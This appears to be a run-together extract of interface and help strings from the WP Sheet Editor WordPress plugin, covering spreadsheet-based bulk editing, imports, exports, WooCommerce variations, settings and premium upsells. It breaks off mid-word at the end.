                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereAccept post from this post typeActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add newAdd new columnAdd new post typeAdd new postsAdd this code at the beginning of the .htaccess file in the root directory of your website. It is required for authenticating requests between Google Sheets and WordPressAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAllAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the variable productsAllowAllow backordersAllow multiple files per field?Allow multiple posts per field?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlternative textAnd more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsApply to:Are you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChanges savedChanges saved successfullyCheckboxClear valueClick here to show all columns againClicks avoided
                  (estimated)CloseColumn formatColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn width (pixels)Columns could not be saved. Try again.Columns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)CommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy this access link and paste it in Google Sheets. Get quick access linkCopy variationsCopy variations and attributes from this product:Copy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrent spreadsheet: %sCustom Database Tables SpreadsheetCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresData missing, try again later.Data sourceDateDate range fromDaysDeactivate everything. Use the REST API onlyDeactivate the data prefetchDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefault attributeDefault attributesDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisplay raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to update or create items?Download %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).Dropdown with predefined optionsDuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate this item:ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in Google SheetsEdit in a SpreadsheetEdit meta keyEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the REST APIEnable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this:
                  red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by commasEnter one URL per lineEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error 8391. You dont have enough permissions to view this page.Error on row ID: %d - %sError. The math engine could not execute the math operation: %s, ID: %dError: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExecute formula on future posts automatically (Advanced users only)Execute on future posts onlyExitExit Full ScreenExportExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtensionsFTP Images: Skip images with same file name?Featured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldField to update:File (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:Fixed more than 13 bugsFor example, if you searched for posts by "author = Mark" using the search tool, we will export only posts with "author Mark"For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the post type "product", we will only accept product titles.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)Formula parameters:Formula type:FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerated formula:Get instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHere you can view all the formulas saved for ongoing execution. These formulas will be executed on posts matching the filters when they are created or updated in the spreadsheet.Hide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How is the file saved in the database?How is the post saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will export all the rows from my current search.I understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsIDIf the column has a very long text, we will remove the html and shorten it to a number of words.If you activate this option we will deactivate all the spreadsheets, settings pages, and the entire plugin will become invisible to the user. Only the REST API will remain active. This is useful for advanced scenarios when you only use our REST API to keep websites synchronized with external spreadsheets or systems. When this option is active, our settings page will moved under the general settings menu because our sheet editor menu will be removedIf you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you mark this option , when you create or update a post in the spreadsheet, we will check if the post matches the formula parameters and execute the formula automatically on that post. For example. When you create a product with category apples we can set the description automatically, or when you change the SKU we can update the downloadable files URLs automatically.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingImproved 7 featuresImproved sheet: Moved settings to a dropdown to simplify the UI and added new context menu optionsImproved tools: columns visibility. Now you can delete unnecessary columns and improved sorting and disable logicImproved tools: formulas engine. Now you can make advanced searches and apply formulas to the search results. Paid users only. Upgrade)In Google Sheets > top toolbar. Open the "WordPress" option.In this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeInstall the "WP Sheet Editor" chrome extension. InstallInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.Is DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content.
                  Search by multiple keywords separating keywords with a semicolon (;)Items loaded in the spreadsheetJWT is not configurated properly, please contact the adminJust save changesKeyLabelLengthLinks ColorLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum number of variations per combination of attributesMaximum number of wordsMedia Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)MiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified postsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew extension - EVENTS - View/edit events, venues, and organizers in a spreadsheet. Advanced search, etc. View Extension)New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the christmas season. View Extension)New feature - Added support for Advanced Custom Fields > relationship fields. Paid users only. Upgrade)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.Normal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. If you want to modify saved formulas you have to delete the formula and create it again in the formulas builder.Note. More than 75 copies at once might overload the server. Do it in small batches.
                  You can continue if you think your server can handle it.Note. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote. This works in Google Chrome only.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.Note: Separate values with the character %s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.NumberOKOn which post types do you want to enable the editor?One variation row has a parent product that does not exist. The "parent" column contains the %s: %s. Please correct it and start a new importOnly create new items, ignore existing itemsOnly for advanced users. Read more.Oops, nothing foundOpen Google Sheets. Click hereOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsOther versions of Microsoft ExcelPage ParentPagesParameter:ParentParent Spreadsheet:PasswordPaste using keyboard: Ctrl+VPausePlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the name of the spreadsheet views separated by commas.Please make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "Post dropdownPost IDPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost TypesPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)PostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %d of %d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRealign cellsRegular PriceRegular priceRemove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove featured imageRemove help messages from the cells?Remove the existing value and leave the field empty. Read moreRename columnReplaceReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace words or phrases in your posts titles, content, or other fieldsRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRow ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.Rows deleted successfullyRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSaveSave and continueSave changesSave changes and go to the next post editorSave changes and go to the previous post editorSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowSearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...SeparatorSeparator for taxonomy terms cellsSet featured imageSet hundreds of products at once as out of stock or in stockSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.Sort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Template item not found or not allowed to be duplicated.TermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The REST API can be used for interacting with our spreadsheet from external apps.The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe cells will display the date in the format: YYYY-MM-DDThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The export does not exist. Please export again.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %s, ID: %dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe quick access link has expired or it does not existThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The taxonomy columns (i.e. categories, tags) use a limited dropdown by default for selecting one term only and the column can be copy pasted. We have a fancy dropdown selector, which has better auto complete, allows selecting multiple options, etc. but it uses more server resources and it doesn't allow copy pasting in these cells. You can activate it here if you prefer a better dropdown over the ability to copy paste.The variations are for these products: This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will save you {clicks_count} clicks :)Time saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdated 6 extensions.Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Use this link privately for security reasons, this link expires after one usage.Used for Variations?Used for variation?User dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - RelationshipWPML - Translation ofWPML - Translation priorityWatch tutorialWe are saving now. Don't close this window until the process has finished.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows to update from the search query. Please try another search query.We 